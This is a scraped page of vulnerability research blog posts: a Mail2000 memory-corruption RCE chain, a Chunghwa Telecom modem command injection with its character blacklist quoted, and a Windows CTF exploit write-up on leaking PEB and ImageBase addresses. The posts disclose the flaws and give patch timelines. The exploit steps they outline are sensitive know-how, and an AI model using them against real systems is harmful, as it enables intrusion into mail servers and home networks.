Normal view

There are new articles available, click to refresh the page.
Before yesterdayUncategorized

飛鴿傳書 - 紅隊演練中的數位擄鴿

22 December 2019 at 16:00

郵件系統作為大部分企業主要的資訊交換方式,在戰略上佔有了舉足輕重的地位。掌控了郵件伺服器不僅可以竊聽郵件的內容,甚至許多重要文件都可以在郵件系統中找到,使得駭客能夠更進一步的滲透。本篇文章將介紹研究組在 Openfind Mail2000 這套軟體上發現的記憶體漏洞,以及利用這個漏洞的攻擊手法。 此漏洞為 2018 年時發現,當時已通報 Openfind 並且迅速被修補,同時也已協助相關用戶進行更新。

Openfind Mail2000

Mail2000 是一套由台灣廠商 Openfind 所開發,簡單易用的電子郵件系統,被廣泛使用於台灣的公家機關、教育機構,如台北市教育局、中科院,以及臺灣科技大學都有使用 Mail2000 作為主要的郵件伺服器。常見的入口介面如下:

這次的漏洞,便是從這個 Web 介面,利用 Binary 的手法,攻陷整台伺服器!

伺服器架構

Mail2000 提供了 Web 介面供管理員以及使用者操作,也就是所謂的 Webmail,而此處 Openfind 使用了 CGI (Common Gateway Interface) 的技術來實作。大多數 Web 伺服器實現 CGI 的方式如圖: 首先由 httpd 接受客戶端的請求後,根據對應的 CGI 路徑,執行相對應的 CGI 檔案。而大多數的開發者會根據需求,將常見的共用 function 撰寫成 library,供 CGI 呼叫。 往底層來看,其實可以發現,雖然稱為 Web 伺服器,仍有許多元件是建構於 binary 之上的!例如 httpd,為了效能,多是由 C/C++ 所撰寫,而其它像是 library、擴充的 module、各頁面的 CGI 也常是如此。因此,binary 相關的漏洞,便是我們這次的攻擊目標!

漏洞

這個漏洞位於 Openfind 實作的 library libm2kc 中,此函式庫包含了各種 CGI 通用函式,如參數解析及檔案處理等等,而這個漏洞就發生在參數解析的部分。由於參數處理是很底層且基本的功能,因此影響的範圍非常的大,就連 Openfind 的其它產品也同樣受影響! 這個漏洞的觸發條件如下:

  • 攻擊者使用 multipart 形式發送 HTTP POST 請求
  • POST 傳送的資料內容超過 200 項

multipart 是 HTTP 協定中,用來處理多項檔案傳輸時的一種格式,舉例如下:

Content-Type: multipart/form-data; boundary=AaB03x 
 


--AaB03x

Content-Disposition: form-data; name="files"; filename="file1.txt"

Content-Type: text/plain



... contents of file1.txt ...

--AaB03x--

而在 libm2kc 中,使用了陣列來儲存參數:

g_stCGIEnv.param_cnt = 0;
while(p=next_param())
{
  g_stCGIEnv.param[param_cnt] = p;
  g_stCGIEnv.param_cnt++;
}

這個陣列為全域變數 g_stCGIEnv 中的 param,在存入 param 陣列時,並沒有檢查是否已超過宣告的陣列大小,就造成了越界寫入。

需要注意的是,param 陣列所儲存的結構為指向字串位置的指標,而非字串本身

struct param
{
    char *key;
    char *value;
    int flag;
};

因此當觸發越界寫入時,寫入記憶體的值也是一個個指向字串的指標,而被指向的字串內容則是造成溢出的參數。

漏洞利用

要利用越界寫入的漏洞,就要先了解利用這個溢出可以做到什麼,發生溢出的全域變數結構如下:

00000000 CGIEnv          struc ; (sizeof=0x6990, mappedto_95)
00000000 buf             dd ?                    ; offset
00000004 length          dd ?
00000008 field_8         dd 6144 dup(?)          ; offset
00006008 param_arr       param 200 dup(?)
00006968 file_vec        dd ?                    ; offset
0000696C vec_len         dd ?
00006970 vec_cur_len     dd ?
00006974 arg_cnt         dd ?
00006978 field_6978      dd ?
0000697C errcode         dd ?
00006980 method          dd ?
00006984 is_multipart    dd ?
00006988 read_func       dd ?
0000698C field_698C      dd ?
00006990 CGIEnv          ends

溢出的陣列為其中的param_arr,因此在其之後的變數皆可能被覆寫。包括post_filesvec_lenvec_cur_lenarg_cnt … 等等。其中最吸引我注意的是file_vec這個變數,這是一個用來管理 POST 上傳檔案的 vector,大部分的 vector 結構像是這樣: 使用 size 記錄陣列的總長度,end 記錄目前用到哪裡,這樣就可以在容量不夠的時候進行擴充。我們若利用漏洞,使溢出的指標覆蓋 vector 的指標,就有可能有效的利用!藉由覆蓋這個 vector 指標,我們可以達到偽造一個 POST file,及其中所有相關變數的效果,而這個 POST file 結構裡面就包含了各種常見的檔案相關變數,像是路徑、檔名,和 Linux 中用來管理檔案的 FILE 結構,而 FILE 結構便是這次的攻擊的關鍵!

FILE Structure Exploit

這次的攻擊使用了 FILE structure exploit 的手法,是近幾年較新發現的攻擊手法,由 angelboy 在 HITCON CMT 公開[1]

FILE 結構是 Linux 中用來做檔案處理的結構,像是 STDINSTDOUTSTDERR,或者是呼叫 fopen 後回傳的結構都是 FILE。而這個結構之所以能成為漏洞利用的突破口主要原因就是它所包含的 vtable 指標:

struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};

vtable 當中記錄了各種 function pointer,對應各種檔案處理相關的功能:

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    /* ... */
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    /* ... */
};

因此如果我們可以篡改、偽造這個 vtable 的話,就可以在程式做檔案處理的時候,劫持程式流程!我們可以以此訂出以下的攻擊步驟:

  1. 建立連線,呼叫 CGI
  2. 使用大量參數,覆寫 vector 指標
  3. 偽造 POST file 當中的 FILE*,指向一塊偽造的 FILE 結構
  4. 在 CGI 流程中呼叫 FILE 相關的操作
    • fread, fwrite, fclose, …
  5. 劫持程式流程

我們現在已經知道終點是呼叫一個 FILE 操作,那麼就可以開始往回找哪個 function 是 CGI 常用的 FILE 操作,又有哪一些 CGI 可以作為入口點,才能串出我們的攻擊鏈!我們首先對使用到 POST file 的相關函式做研究,並選定了目標 MCGI_VarClear()MCGI_VarClear() 在許多用到 FILE 的 CGI 中有被呼叫,它用於在程式結束前將 g_stCGIEnv 清空,包括將動態配置的記憶體 free() 掉,以及將所有 FILE 關閉,也就是呼叫 fclose(),也意味著是可以通過 vtable 被劫持的!我們可以使用這個越界寫入漏洞蓋掉 file_vec,而指向的內容就是 HTTP request 的參數,便可以偽造為 POST files!像是下面這個結構:

我們的最終目標就是將 FILE* 指向偽造的結構,藉由偽造的 vtable 劫持程式流程!這時候便出現了一個問題,我們需要將 FILE* 這個指標指向一個內容可控的位置,但是其實我們並不知道該指到哪裡去,會有這個問題是起因於 Linux 上的一個防禦機制 - ASLR。

Address Space Layout Randomization (ASLR)

ASLR 使得每次程式在執行並載入記憶體時,會隨機載入至不同的記憶體位置,我們可以嘗試使用 cat /proc/self/maps 觀察每一次執行時的記憶體位置是否相同: ASLR 在大部分的環境中都是預設開啟的,因此在撰寫 exploit 時,常遇到可以偽造指標,卻不知道該指到哪裡的窘境。 而這個機制在 CGI 的架構下會造成更大的阻礙,一般的伺服器的攻擊流程可能是這樣: 可以在一個連線當中 leak address 並用來做進一步的攻擊,但在 CGI 架構中卻是這樣: 在這個情況下,leak 得到的 address 是無法在後續攻擊中使用的!因為 CGI 執行完就結束了,下一個 request 又是全新的 CGI! 為了應對這個問題,我們最後寫了兩個 exploit,攻擊的手法根據 CGI binary 而有不同。

Post-Auth RCE - /cgi-bin/msg_read

第一個 exploit 的入口點是一個需要登入的頁面,這一隻程式較大、功能也較多。在這一個 exploit 中,我們使用了 heap spray 的手法來克服 ASLR,也就是在 heap 中填入大量重複的物件,如此一來我們就有很高的機率可以到它的位置。 而 spray 的內容就是大量偽造好的 FILE 結構,包含偽造的 vtable。從這隻 binary 中,我們找到了一個十分實用的 gadget,也就是小程式片段:

xchg eax, esp; ret

這個 gadget 的作用在於,我們可以改變 stack 的位置,而剛好此時的 eax 指向內容是可控的,因此整個 stack 的內容都可以偽造,也就是說我們可以使用 ROP(Return-oriented programming) 來做利用!於是我們在偽造的 vtable 中設置了 stack 搬移的 gadget 以及後續利用的 ROP 攻擊鏈,進行 ROP 攻擊!

我們可以做 ROP,也就可以拿 shell 了對吧!你以為是這樣嗎?不,其實還有一個大問題,同樣導因於前面提到的防禦機制 ASLR – 我們沒有 system 的位置!這隻 binary 本身提供的 gadget 並不足以開啟一個 shell,因此我們希望可以直接利用 libc 當中的 system 來達成目的,但正如前面所提到的,記憶體位置每次載入都是隨機化的,我們並不知道 system 的確切位置! 經過我們仔細的觀察這支程式以後,我們發現了一件非常特別的事,這隻程式理論上是有打開 NX,也就是可寫段不可執行的保護機制 但是實際執行的時候,stack 的執行權限卻會被打開! 不論原因為何,這個設置對駭客來說是非常方便的,我們可以利用這個可執行段,將 shellcode 放上去執行,就可以成功得到 shell,達成 RCE!

然而,這個攻擊是需要登入的,對於追求完美的 DEVCORE 研究組來說,並不足夠!因此我們更進一步的研究了其它攻擊路徑!

Pre-Auth RCE - /cgi-bin/cgi_api

在搜索了所有 CGI 入口點以後,我們找到了一個不需要登入,同時又會呼叫 MCGI_VarClear() 的 CGI – /cgi-bin/cgi_api。一如其名,它就是一隻呼叫 API 的接口,因此程式本身非常的小,幾乎是呼叫完 library 就結束了,也因此不再有 stack pivot 的 gadget 可以利用。 這時,由於我們已經得知 stack 是可執行的,因此其實我們是可以跳過 ROP 這個步驟,直接將 shellcode 放置在 stack 上的,這裡利用到一個 CGI 的特性 – HTTP 的相關變數會放在環境變數中,像是下列這些常見變數:

  • HTTP_HOST
  • REQUEST_METHOD
  • QUERY_STRING

而環境變數事實上就是被放置在 stack 的最末端,也就是可執行段的位置,因此我們只要偽造 vtable 直接呼叫 shellcode 就可以了!

當然這時候同樣出現了一個問題:我們仍舊沒有 stack 的記憶體位置。這個時候有些人可能會陷入一個迷思,覺得攻擊就是要一次到位,像個狙擊手一樣一擊必殺,但實際上可能是這樣拿機關槍把敵人炸飛:

換個角度思考,這隻 binary 是 32 bits 的,因此這個位置有 1.5bytes 是隨機的,總共有 163 個可能的組合,所以其實平均只要 4096 次請求就可以撞到一次!這對於現在的電腦、網路速度來說其實也就是幾分鐘之間的事情,因此直接做暴力破解也是可行的!於是我們最終的 exploit 流程就是:

  1. 發送 POST 請求至 cgi_api
    • QUERY_STRING 中放入 shellcode
  2. 觸發越界寫入,覆蓋 file_vec
    • 在越界的參數準備偽造的 FILE & vtable
  3. cgi_api 結束前呼叫 MCGI_VarClear
  4. 跳至 vtable 上的 shellcode 位置,建立 reverse shell

最後我們成功寫出了不用認證的 RCE 攻擊鏈,並且這個 exploit 是不會因為 binary 的版本不同而受影響的!而在實際遇到的案例中也證明了這個 exploit 的可行性,我們曾在一次的演練當中,藉由 Mail2000 的這個 1day 作為突破口,成功洩漏目標的 VPN 資料,進一步往內網滲透!

漏洞修復

此漏洞已在 2018/05/08 發布的 Mail2000 V7 Patch 050 版本中完成修復。Patch 編號為 OF-ISAC-18-002、OF-ISAC-18-003。

後記

最後想來談談對於這些漏洞,廠商該用什麼樣的心態去面對。作為一個提供產品的廠商,Openfind 在這一次的漏洞處理中有幾個關鍵值得學習:

  • 心態開放
    • 主動提供測試環境
  • 積極修復漏洞
    • 面對漏洞以積極正向的態度,迅速處理
    • 修復完畢後,與提報者合作驗證
  • 重視客戶安全
    • 發布重大更新並主動通報客戶、協助更新

其實產品有漏洞是很正常也很難避免的事,而我們研究組是作為一個協助者的角色,期望能藉由回報漏洞幫助企業,提高資安意識並增進台灣的資安水平!希望廠商們也能以正向的態度來面對漏洞,而不是閃躲逃避,這樣只會令用戶們陷入更大的資安風險當中!

而對於使用各項設備的用戶,也應當掌握好屬於自己的資產,防火牆、伺服器等產品並不是購買來架設好以後就沒有問題了,做好資產盤點、追蹤廠商的安全性更新,才能確保產品不受到 1day 的攻擊!而定期進行滲透測試以及紅隊演練,更是可以幫助企業釐清自己是否有盲點、缺失,進而改善以降低企業資安風險。

你用它上網,我用它進你內網! 中華電信數據機遠端代碼執行漏洞

10 November 2019 at 16:00

大家好,我是 Orange! 這次的文章,是我在 DEVCORE CONFERENCE 2019 上所分享的議題,講述如何從中華電信的一個設定疏失,到串出可以掌控數十萬、甚至數百萬台的家用數據機漏洞!


前言

身為 DEVCORE 的研究團隊,我們的工作就是研究最新的攻擊趨勢、挖掘最新的弱點、找出可以影響整個世界的漏洞,回報給廠商避免這些漏洞流至地下黑市被黑帽駭客甚至國家級駭客組織利用,讓這個世界變得更加安全!

把「漏洞研究」當成工作,一直以來是許多資訊安全技術狂熱份子的夢想,但大部分的人只看到發表漏洞、或站上研討會時的光鮮亮麗,沒注意到背後所下的苦工,事實上,「漏洞研究」往往是一個非常樸實無華,且枯燥的過程。

漏洞挖掘並不像 Capture the Flag (CTF),一定存在著漏洞以及一個正確的解法等著你去解出,在題目的限定範圍下,只要根據現有的條件、線索去推敲出題者的意圖,十之八九可以找出問題點。 雖然還是有那種清新、優質、難到靠北的比賽例如 HITCON CTF 或是 Plaid CTF,不過 「找出漏洞」 與 「如何利用漏洞」在本質上已經是兩件不同的事情了!

CTF 很適合有一定程度的人精進自己的能力,但缺點也是如果經常在限制住的小框框內,思路及眼界容易被侷限住,真實世界的攻防往往更複雜、維度也更大! 要在一個成熟、已使用多年,且全世界資安人員都在關注的產品上挖掘出新弱點,可想而知絕對不是簡單的事! 一場 CTF 競賽頂多也就 48 小時,但在無法知道目標是否有漏洞的前提下,你能堅持多久?

在我們上一個研究中,發現了三個知名 SSL VPN 廠商中不用認證的遠端代碼執行漏洞,雖然成果豐碩,但也是花了整個研究組半年的時間(加上後續處理甚至可到一年),甚至在前兩個月完全是零產出、找不到漏洞下持續完成的。 所以對於一個好的漏洞研究人員,除了綜合能力、見識多寡以及能否深度挖掘外,還需要具備能夠獨立思考,以及興趣濃厚到耐得住寂寞等等特質,才有辦法在高難度的挑戰中殺出一條血路!

漏洞研究往往不是一間公司賺錢的項目,卻又是無法不投資的部門,有多少公司能夠允許員工半年、甚至一年去做一件不一定有產出的研究? 更何況是將研究成果無條件的回報廠商只是為了讓世界更加安全? 這也就是我們 DEVCORE 不論在滲透測試或是紅隊演練上比別人來的優秀的緣故,除了平日軍火庫的累積外,當遇到漏洞時,也會想盡辦法將這個漏洞的危害最大化,利用駭客思維、透過各種不同組合利用,將一個低風險漏洞利用到極致,這也才符合真實世界駭客對你的攻擊方式!


影響範圍

故事回到今年初的某天,我們 DEVCORE 的情資中心監控到全台灣有大量的網路地址開著 3097 連接埠,而且有趣的是,這些地址並不是什麼伺服器的地址,而是普通的家用電腦。 一般來說,家用電腦透過數據機連接上網際網路,對外絕不會開放任何服務,就算是數據機的 SSH 及 HTTP 管理介面,也只有內部網路才能訪問到,因此我們懷疑這與 ISP 的配置失誤有關! 我們也成功的在這個連接埠上挖掘出一個不用認證的遠端代碼執行漏洞! 打個比喻,就是駭客已經睡在你家客廳沙發的感覺!

透過這個漏洞我們可以完成:

  1. 竊聽網路流量,竊取網路身分、PTT 密碼,甚至你的信用卡資料
  2. 更新劫持、水坑式攻擊、內網中繼攻擊去控制你的電腦甚至個人手機
  3. 結合紅隊演練去繞過各種開發者的白名單政策
  4. 更多更多…

而相關的 CVE 漏洞編號為:


相較於以往對家用數據機的攻擊,這次的影響是更嚴重的! 以往就算漏洞再嚴重,只要家用數據機對外不開放任何連接埠,攻擊者也無法利用,但這次的漏洞包含中華電信的配置失誤,導致你家的數據機在網路上裸奔,攻擊者僅僅 「只要知道你的 IP 便可不需任何條件,直接進入你家內網」,而且,由於沒有數據機的控制權,所以這個攻擊一般用戶是無法防禦及修補的!


經過全網 IPv4 的掃瞄,全台灣約有 25 萬台的數據機存在此問題,「代表至少 25 萬個家庭受影響」,不過這個結果只在 「掃描當下有連上網路的數據機才被納入統計」,所以實際受害用戶一定大於這個數字!

而透過網路地址的反查,有高達九成的受害用戶是中華電信的動態 IP,而剩下的一成則包含固定制 IP 及其他電信公司,至於為何會有其他電信公司呢? 我們的理解是中華電信作為台灣最大電信商,所持有的資源以及硬體設施也是其他電信商遠遠不及的,因此在一些比較偏僻的地段可能其他電信商到使用者的最後一哩路也還是中華電信的設備! 由於我們不是廠商,無法得知完整受影響的數據機型號列表,但筆者也是受害者 ╮(╯_╰)╭,所以可以確定最多人使用的中華電信光世代 GPON 數據機 也在受影響範圍內!

(圖片擷自網路)


漏洞挖掘

只是一個配置失誤並不能說是什麼大問題,所以接下來我們希望能在這個服務上挖掘出更嚴重的漏洞! 軟體漏洞的挖掘,根據原始碼、執行檔以及 API 文件的有無可依序分為:

  • 黑箱測試
  • 灰箱測試
  • 白箱測試

在什麼都沒有的的狀況下,只能依靠經驗以及對系統的了解去猜測每個指令背後的實作、並找出漏洞。

黑箱測試

3097 連接埠提供了許多跟電信網路相關的指令,推測是中華電信給工程師遠端對數據機進行各種網路設定的除錯介面!


其中,可以透過 HELP 指令列出所有功能,其中我們發現了一個指令叫做 MISC ,看名字感覺就是把一堆不知道怎麼分類的指令歸類在這,而其中一個叫做 SCRIPT 吸引了我們! 它的參數為一個檔案名稱,執行後像是會把檔案當成 Shell Script 來執行,但在無法在遠端機器留下一個可控檔案的前提下,也無法透過這個指令取得任意代碼執行。 不過有趣的是,MISC SCRIPT 這個指令會將 STDERR 給顯示出來,因此可以透過這個特性去完成任意檔案讀取!


從黑箱進化成灰箱

在漏洞的利用上,無論是記憶體的利用、或是網路的滲透,不外乎都圍繞著對目標的讀(Read)、 寫(Write) 以及代碼執行(eXecute) 三個權限的取得,現在我們取得了第一個讀的權限,接下來呢?

除錯介面貌似跑在高權限使用者下,所以可以直接透過讀取系統密碼檔得到系統使用者管理登入的密碼雜湊!


透過對 root 使用者密碼雜湊的破解,我們成功的登入數據機 SSH 將「黑箱」轉化成「灰箱」! 雖然現在可以成功控制自己的數據機,但一般家用數據機對外是不會開放 SSH 服務的,為了達到可以「遠端」控制別人的數據機,我們還是得想辦法從 3097 這個服務拿到代碼的執行權限。


整個中華電信的數據機是一個跑在 MIPS 處理器架構上的嵌入式 Linux 系統,而 3097 服務則是由一個在 /usr/bin/omcimain 的二進位檔案來處理,整個檔案大小有將近 5MB,對逆向工程來說並不是一個小數目,但與黑箱測試相較之下,至少有了東西可以分析了真棒!

$ uname -a
Linux I-040GW.cht.com.tw 2.6.30.9-5VT #1 PREEMPT Wed Jul 31 15:40:34 CST 2019
[luna SDK V1.8.0] rlx GNU/Linux

$ netstat -anp | grep 3097
tcp        0      0 127.0.0.1:3097          0.0.0.0:*               LISTEN

$ ls -lh /usr/bin/omcimain
-rwxr-xr-x    1 root   root        4.6M Aug  1 13:40 /usr/bin/omcimain

$ file /usr/bin/omcimain
ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked


從灰箱進化成白箱

現在,我們可以透過逆向工程了解每個指令背後的原理及實作了! 不過首先,逆向工程是一個痛苦且煩悶的經過,一個小小的程式可能就包含幾萬、甚至十幾萬行的組合語言代碼,因此這時挖洞的策略就變得很重要! 從功能面來看,感覺會存在命令注入相關的漏洞,因此先以功能實作為出發點開始挖掘!

整個 3097 服務的處理核心其實就是一個多層的 IF-ELSE 選項,每一個小框框對應的一個功能的實作,例如 cli_config_cmdline 就是對應 CONFIG 這條指令,因此我們搭配著 HELP 指令的提示一一往每個功能實作挖掘!


研究了一段時間,並沒有發現到什麼嚴重漏洞 :( 不過我們注意到,當所有指命都匹配失敗時,會進入到了一個 with_fallback 的函數,這個函數的主要目的是把匹配失敗的指令接到 /usr/bin/diag 後繼續執行!


with_fallback 大致邏輯如下,由於當時 Ghidra 尚未出現,所以這份原始碼是從閱讀 MIPS 組合語言慢慢還原回來的! 其中 s1 為輸入的指令,如果指令不在定義好的列表內以及指令中出現問號的話,就與 /usr/bin/diag 拼湊起來丟入 system 執行! 理所當然,為了防止命令注入等相關弱點,在丟入 system 前會先根據 BLACKLISTS 的列表檢查是否存在有害字元。

  char *input = util_trim(s1);
  if (input[0] == '\0' || input[0] == '#')
      return 0;

  while (SUB_COMMAND_LIST[i] != 0) {
      sub_cmd = SUB_COMMAND_LIST[i++];
      if (strncmp(input, sub_cmd, strlen(sub_cmd)) == 0)
          break;
  }

  if (SUB_COMMAND_LIST[i] == 0 && strchr(input, '?') == 0)
      return -10;

  // ...

  while (BLACKLISTS[i] != 0) {
      if (strchr(input, BLACKLISTS[i]) != 0) {
          util_fdprintf(fd, "invalid char '%c' in command\n", BLACKLISTS[i]);
          return -1;
      }
      i++;
  }

  snprintf(file_buf,  64, "/tmp/tmpfile.%d.%06ld", getpid(), random() % 1000000);
  snprintf(cmd_buf, 1024, "/usr/bin/diag %s > %s 2>/dev/null", input, file_buf);
  system(cmd_buf);


BLACKLISTS 定義如下:

char *BLACKLISTS = "|<>(){}`;";

如果是你的話,能想到如何繞過嗎?






答案很簡單,命令注入往往就是這麼的簡單且樸實無華!


這裡我們示範了如何從 PTT 知道受害者 IP 地址,到進入它數據機實現真正意義上的「指哪打哪」!



後記

故事到這邊差不多進入尾聲,整篇文章看似輕描淡寫,描述一個漏洞從發現到利用的整個經過,從結果論來說也許只是一個簡單的命令注入,但實際上中間所花的時間、走過的歪路是正在讀文章的你無法想像的,就像是在黑暗中走迷宮,在沒有走出迷宮前永遠不會知道自己正在走的這條路是不是通往目的正確道路!

挖掘出新的漏洞,並不是一件容易的事,尤其是在各式攻擊手法又已趨於成熟的今天,要想出全新的攻擊手法更是難上加難! 在漏洞研究的領域上,台灣尚未擁有足夠的能量,如果平常的挑戰已經滿足不了你,想體驗真實世界的攻防,歡迎加入與我們一起交流蕉流 :D


通報時程

  • 2019 年 07 月 28 日 - 透過 TWCERT/CC 回報中華電信
  • 2019 年 08 月 14 日 - 廠商回覆清查並修補設備中
  • 2019 年 08 月 27 日 - 廠商回覆九月初修補完畢
  • 2019 年 08 月 30 日 - 廠商回覆已完成受影響設備的韌體更新
  • 2019 年 09 月 11 日 - 廠商回覆部分用戶需派員更新, 延後公開時間
  • 2019 年 09 月 23 日 - 與 TWCERT/CC 確認可公開
  • 2019 年 09 月 25 日 - 發表至 DEVCORE CONFERENCE 2019
  • 2019 年 11 月 11 日 - 部落格文章釋出

BFS Ekoparty 2019 Exploitation Challenge - Override Banking Restrictions to get US Dollars

27 October 2019 at 10:48

FROM CRASH TO CODE EXECUTION

this is my first time giving a try into a windows x64 bits , and challenges offered by blue frost security

I’ve decided to give the 2019 BFS Exploitation Challenge a try. It is a Windows 64 bit executable\ for which an exploit is expected to work under Windows 10 Redstone 6

The Rules

  1. Bypass ASLR remotely
  2. 64-bit version exploitation
  3. Remote Execution

Inital Steps

we were given a windows binary only . this made me think, I cannot use any fuzzing technique because I dont know if it’s local or remote . let’s try doing some reverse engineering before, So I can understand what it is really doing.

Navigating through the main function , we notice that it is a remote application which listen to 54321

server

Identifying the Vulnerability

by disassembly the function , it is obvious that some checks need to bypassed in order to send send our payload correctly

checks

  1. if ( v6 == 16i64 )
  2. if ( *(_QWORD *)buf == ‘0x393130326F6B45’ )
  3. strcpy(buf, “Eko2019”);
  4. if ( size_data <= 512 )
  5. if ( (signed int)size_data % 8 )

the first validation our application is checking if our payload is equal to 16 bytes , then if buf is equal to 0x393130326F6B45 which trasnalte into 9102okE in hex. there is a strcpy that copy at the end of our payload Eko2019 , but we also have a size data validation which\ we cannot send more than 512 bytes , and it needs to be aligned correctly for 8 bytes. meaning we could send 8,16,24 so on

the “jle” instruction indicates a signed integer comparison, but later passed as unsigned which lead us an integer overflow

checks

after we successfully send a bigger payload, I notice it crashes after sending 229 bytes , but before that there is a instruction lea rcx, unk_7FF6A8A9E520, but what unk_7FF6A8A9E520 is holding or doing? after inspectioning deeper about this unk_7FF6A8A9E520 . we found there is an array with an offset of 256 with this structure

array_ret

the functionsub_7FF6A8A91000 will return our byte + 488B01C3C3C3C3h in this case 41 48 8B 01 C3 C3 C3 C3

this value will basically be used in the WriteProcessMemory(v2, sub_7FF7DD111000, &Buffer, 8ui64, &NumberOfBytesWritten); as buffer these to the function sub_7FF6A8A91000 as instructions allowing to control what we can execute when we reach it.

overwrite

we could see rax , and rcx was overwritten , but however rax was overwritten only one byte from the lower bytes, and rcx overwrite completely causing an access violation

.text:00007FF7DD111000 arg_0= qword ptr  8
.text:00007FF7DD111000
.text:00007FF7DD111000 db      42h
.text:00007FF7DD111000 mov     rax, [rcx]
.text:00007FF7DD111004 retn

why does this happen?

there’s a reason

  1. because of the value of the pointer of RCX that you control

Strategy

In order to bypass ASLR, we need to cause the server to leak an address that belongs to its process space. Fortunately, there is a call to the send() function , which sends 8 bytes of data, so exactly the size of a pointer in 64 bit land. That should serve our purpose just fine.

          qword_7FF7DD11D4E0 = printf(aRemoteMessageI, (unsigned int)counter_conection, &Dst);
          ++counter_conection;
          Buffer = what_the_heck_do(array[byte % -256]);
          v2 = GetCurrentProcess();
          WriteProcessMemory(v2, sub_7FF7DD111000, &Buffer, 8ui64, &NumberOfBytesWritten);
          *(_QWORD *)v3 = sub_7FF7DD111000(v9);
          send(s, v3, 8, 0);
          result = 1i64;

The strategy is getting control of the “byte” variable Luckily, it is a stack variable adjacent to the “size_data[512]” other than the default one at index 62 (0x3e).

I wrote a simple script to find gadgets in order to leak data from the running process

for i in $(cat file); do echo -e "\n$i" && rasm2 -b -D $i;done

after sometime research how I can read some information about the running process . I found what I could read via gs(segment register) because of x64 bits

0x65488B01C3C3C3C3
0x00000000   4                 65488b01  mov rax, qword gs:[rcx]
0x00000004   1                       c3  ret
0x00000005   1                       c3  ret
0x00000006   1                       c3  ret
0x00000007   1                       c3  ret

So this special register which could lead us to read _PEB , and our peb offset is at +0x060 ProcessEnvironmentBlock : Ptr64 _PEB via dt ntdll!_TEB

preparing our exploit

Leaking the PEB

  1. 0x65 = mov rax, qword gs:[rcx]
  2. 0x060 = _PEB
WINDBG>dt ntdll!_TEB
   +0x000 NtTib            : _NT_TIB
   +0x038 EnvironmentPointer : Ptr64 Void
   +0x040 ClientId         : _CLIENT_ID
   +0x050 ActiveRpcHandle  : Ptr64 Void
   +0x058 ThreadLocalStoragePointer : Ptr64 Void
   +0x060 ProcessEnvironmentBlock : Ptr64 _PEB
   +0x068 LastErrorValue   : Uint4B
   +0x06c CountOfOwnedCriticalSections : Uint4B
   +0x070 CsrClientThread  : Ptr64 Void
   +0x078 Win32ThreadInfo  : Ptr64 Void
   +0x080 User32Reserved   : [26] Uint4B

in order to make our exploit to leak the data . we need to find a way to derefence rcx with our _PEB offset\ So we can leak our PEB address to start leaking data to bypass ASLR

leak_peb

Leaking the ImageBaseAddress

WINDBG>dt ntdll!_PEB
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 BitField         : UChar
   +0x003 ImageUsesLargePages : Pos 0, 1 Bit
   +0x003 IsProtectedProcess : Pos 1, 1 Bit
   +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
   +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
   +0x003 IsPackagedProcess : Pos 4, 1 Bit
   +0x003 IsAppContainer   : Pos 5, 1 Bit
   +0x003 IsProtectedProcessLight : Pos 6, 1 Bit
   +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
   +0x004 Padding0         : [4] UChar
   +0x008 Mutant           : Ptr64 Void
   +0x010 ImageBaseAddress : Ptr64 Void this our value we want to leak now 
   +0x018 Ldr              : Ptr64 _PEB_LDR_DATA
   +0x020 ProcessParameters : Ptr64 _RTL_USER_PROCESS_PARAMETERS
   +0x028 SubSystemData    : Ptr64 Void
   +0x030 ProcessHeap      : Ptr64 Void
   +0x038 FastPebLock      : Ptr64 _RTL_CRITICAL_SECTION
   +0x040 AtlThunkSListPtr : Ptr64 _SLIST_HEADER
   +0x048 IFEOKey          : Ptr64 Void
   +0x050 CrossProcessFlags : Uint4B
   ....snip

Code execution

overwrite

DEVCORE 紅隊的進化,與下一步

23 October 2019 at 16:00

前言

「紅隊演練」近年來漸漸開始被大家提及,也開始有一些廠商推出紅隊服務。不過關於在台灣紅隊是怎麼做的就比較少人公開分享,身為第一個在台灣推紅隊演練的公司,我想就根據這兩年多來的實戰經驗,分享為什麼我們要做紅隊、我們面臨到的問題、以及在我們心中認為紅隊成員應該具備的特質。最後再分享我們現階段看到的企業資安問題,期望未來我們也可以透過紅隊演練來幫助企業補足那些問題。

這一篇是我在 DEVCORE CONFERENCE 2019 所分享的主題。研討會事前調查想聽內容時有些朋友希望我們能介紹 DEVCORE 的紅隊,還有運作方式和案例,所以我抽出一些素材整理成這場演講。下面是投影片連結,其中有些內部系統畫面不對外公開,僅在研討會分享敬請見諒。

DEVCORE 紅隊的進化,與下一步 - Shaolin (DEVCORE CONF 2019)

為什麼要紅隊演練?

一言以蔽之,就是我們漸漸體會到:對大企業而言,單純的滲透測試並不是最有效益的。從過去上百次滲透測試經驗中,我們往往能在專案初期的偵查階段,發現企業邊界存在嚴重弱點,進而進入內網繞過層層防禦攻擊主要目標。越是龐大的企業,這種狀況會越明顯,因為他們通常有很多對外的網站、網路設備,每一個都可能是風險,即使主要網站防護很完備,駭客只需要從這麼多目標中找到一個問題,就可以對企業造成傷害。今天就算企業對每個服務都獨立做了一次滲透測試,在真實世界中,還是有可能從第三方服務、廠商供應鏈、社交工程等途徑入侵。所以有可能投注很多資源做測試,結果還是發生資安事件。

於是,我們推出了紅隊演練,希望透過真實的演練幫助企業找到整體架構中脆弱的地方。因此,這個服務關注的是企業整體的安全性,而不再只是單一的網站。

